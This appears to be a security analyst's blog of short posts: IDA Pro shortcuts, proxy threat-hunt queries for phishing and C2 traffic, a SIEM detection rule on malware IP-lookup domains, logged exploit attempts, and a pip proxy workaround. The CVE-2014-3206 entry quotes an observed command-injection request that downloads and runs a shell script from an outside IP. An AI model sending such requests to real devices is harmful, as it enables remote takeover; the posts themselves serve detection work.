Thursday, September 30, 2021

IDA Pro Keyboard Shortcuts

 Ascii strings

"highlight the string", press 'a'


Unicode strings

highlight the ascii string, press 'Alt-a', choose unicode


Rename variable

highlight variable, press 'n'


Cross References

highlight the variable, press 'x'


Step

into f7

over f8

run until return ctrl-f7

continue f9


Breakpoint

f2


jump to address

press 'g', enter address


Strings

Shift-f12


comment a line

press ';', enter the comment

Friday, September 10, 2021

Threat Hunt - Proxy Phishing from HTML attachment

 proxy #threathunt idea:

where urlpath = '/next.php' and method = 'POST' and referrer is null cred #phishing 9/10/21 Sharepoint Theme sbj: notification 1 new FAX from: mout.kundenserver[.de 212.227.126.134 HTML attachment posts stolen creds to gms4372.nelrg[.com/gfkn/next.php

Threat Hunt - Proxy C2 IP with PHP

potential proxy #threathunt idea

post or put to urls that contain ip address and php

where
domain matches '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$'
and
method in ('POST', 'PUT')
and
urlpath endswith '.php'

https://app.any.run/tasks/7f60bc17-b518-4a4a-8455-14b893b53104/

Siem Rule - IP Lookup Service

 Malware IP lookup service #siem detection rule idea


dns request in:

 - canireachthe.net

 - ipv4.icanhazip.com

 - ip.anysrc.net

 - edns.ip-api.com

 - wtfismyip.com

 - checkip.dyndns.org

 - api.2ip.ua

 - icanhazip.com

 - api.ipify.org

 - ip-api.com

 - checkip.amazonaws.com

 - ipecho.net

 - ipinfo.io

 - ipv4bot.whatismyipaddress.com

 - freegeoip.app

 

imagename not in 

 - brave.exe

 - iexplore.exe

 - opera.exe

 - firefox.exe

 - msedge.exe

 - chrome.exe

 - vivaldi.exe


Wednesday, August 18, 2021

CVE-2014-3206 Seagate NAS RCE

CVE-2014-3206 Seagate NAS RCE

Seen August 7th, 2021 exploiting by 155.4.223[.]53


GET /backupmgt/localJob.php?session=fail;cd+/tmp;wget+http://212.192.241.72/lolol.sh;curl+-O+http://212.192.241.72/lolol.sh;sh+lolol.sh

https://www.exploit-db.com/exploits/33159




CVE-2020-7796 SSRF Zimbra

 Sample exploit attempt of

"CVE-2020-7796" -> cve.mitre.org/cgi-bin/cvenam "...Potential for SSRF if WebEx zimlet installed and zimlet JSP enabled..." -> wiki.zimbra.com/wiki/Zimbra_Re Vuln Details -> github.com/Zimbra/zm-ziml Seen this week from 103.138.125[.]199 #CVE20207796



Monday, June 7, 2021

Python PIP Upgrade or Install Fails : SSL: CERTIFICATE_VERIFY_FAILED behind Proxy

If you're behind a proxy or getting these errors when installing or upgrading python packages or PIP itself

python -m pip install --upgrade pip

WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1123)'))': /simple/pip/


Then try these extra parameters to trust Python sites (only do this if you trust the proxy)

python -m pip install --trusted-host pypi.org --trusted-host files.pythonhosted.org --upgrade pip

Collecting pip

  Downloading pip-21.1.2-py3-none-any.whl (1.5 MB)

     |████████████████████████████████| 1.5 MB 1.3 MB/s